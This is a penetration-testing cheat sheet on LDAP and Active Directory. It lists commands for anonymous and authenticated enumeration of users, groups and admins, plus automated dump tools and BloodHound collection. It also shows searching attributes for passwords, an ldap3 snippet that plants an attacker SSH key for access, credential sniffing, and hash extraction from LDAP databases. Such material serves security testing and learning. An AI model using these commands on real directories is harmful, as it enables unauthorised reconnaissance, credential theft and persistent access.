Skip to main content
LDAP (Lightweight Directory Access Protocol) is used to locate entities such as organizations, users, and resources in networks. It powers Active Directory and many identity management systems. Default Ports: 389 (LDAP), 636 (LDAPS), 3268/3269 (Global Catalog in AD)

Anonymous Access

LDAP Anonymous Bind

# Test for anonymous bind
ldapsearch -H ldap://<IP> -x

# Get naming context
ldapsearch -H ldap://<IP> -x -s base namingcontexts

# Dump everything
ldapsearch -H ldap://<IP> -x -b "<Naming_Context>"

# TLS SNI bypass (sometimes allows anonymous access)
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

Anonymous Enumeration with NetExec

# Enumerate all objects
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""

# Dump users
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""

# Extract username list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
  | awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
What to look for in anonymous results:
  • sAMAccountName, userPrincipalName
  • memberOf for group scope
  • pwdLastSet temporal patterns
  • userAccountControl flags (disabled, smartcard required)

Authenticated Enumeration

# Basic authenticated query
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' \
  -b "DC=<1_SUBDOMAIN>,DC=<TLD>"

# Extract users
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'johnpassw' \
  -b "CN=Users,DC=mydom,DC=local"

# Extract computers
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'pass' \
  -b "CN=Computers,DC=mydom,DC=local"

# Extract Domain Admins
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'pass' \
  -b "CN=Domain Admins,CN=Users,DC=mydom,DC=local"

# Extract Administrators group
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'pass' \
  -b "CN=Administrators,CN=Builtin,DC=mydom,DC=local"

# Search for passwords in attributes
ldapsearch <cmd> | grep -i -A2 -B2 "userpas"

Automated LDAP Dump

# ldapdomaindump
pip3 install ldapdomaindump
ldapdomaindump <IP> -u 'DOMAIN\username' -p 'password' --no-json --no-grep

# windapsearch
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --da
python3 windapsearch.py --dc-ip 10.10.10.10 -u [email protected] -p password --privileged-users

Python LDAP Enumeration

import ldap3

# Connect (try without credentials first)
server = ldap3.Server('x.X.x.X', get_info=ldap3.ALL, port=636, use_ssl=True)
connection = ldap3.Connection(server)
connection.bind()  # True = anonymous bind allowed
print(server.info)  # Shows naming context, domain name

# Search objects
connection.search(
    search_base='DC=DOMAIN,DC=DOMAIN',
    search_filter='(&(objectClass=*))',
    search_scope='SUBTREE',
    attributes='*'
)
print(connection.entries)

Write LDAP Data

If you can modify values, interesting possibilities include:
# Modify sshPublicKey attribute (if SSH reads public keys from LDAP)
connection.modify('uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', {
    'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAA... attacker@evil'])]
})
# If SSH reads from LDAP: ssh -i attacker_private_key USER@target

Kerberos Authentication

# ldapsearch with Kerberos (GSSAPI)
ldapsearch -Y GSSAPI -H ldap://dc.domain.com -b "DC=domain,DC=com"

# NetExec LDAP BloodHound collection
nxc ldap <IP> -u <USERNAME> -p <PASSWORD> \
  --bloodhound -c All -d <DOMAIN.LOCAL> \
  --dns-server <IP> --dns-tcp

Sniffing LDAP Credentials

If LDAP is used without SSL (port 389), credentials are transmitted in plaintext and can be sniffed on the network. A MitM attack can force clients to use the clear-text authentication method.

Graphical Tools

  • Apache Directory Studio — Full-featured LDAP browser
  • jxplorer — Graphical LDAP client
  • Godap — Interactive TUI for LDAP (supports PTH, PTC, kerberos)
  • Ldapx — LDAP proxy for obfuscating traffic

Post-Exploitation: Extract Hashes

# If you have access to LDAP database files
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
# Feed password hashes to john (from '{SSHA}' to 'structural')

LDAP Configuration Files

/etc/ldap/ldap.conf
/etc/openldap/slapd.conf
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml

Build docs developers (and LLMs) love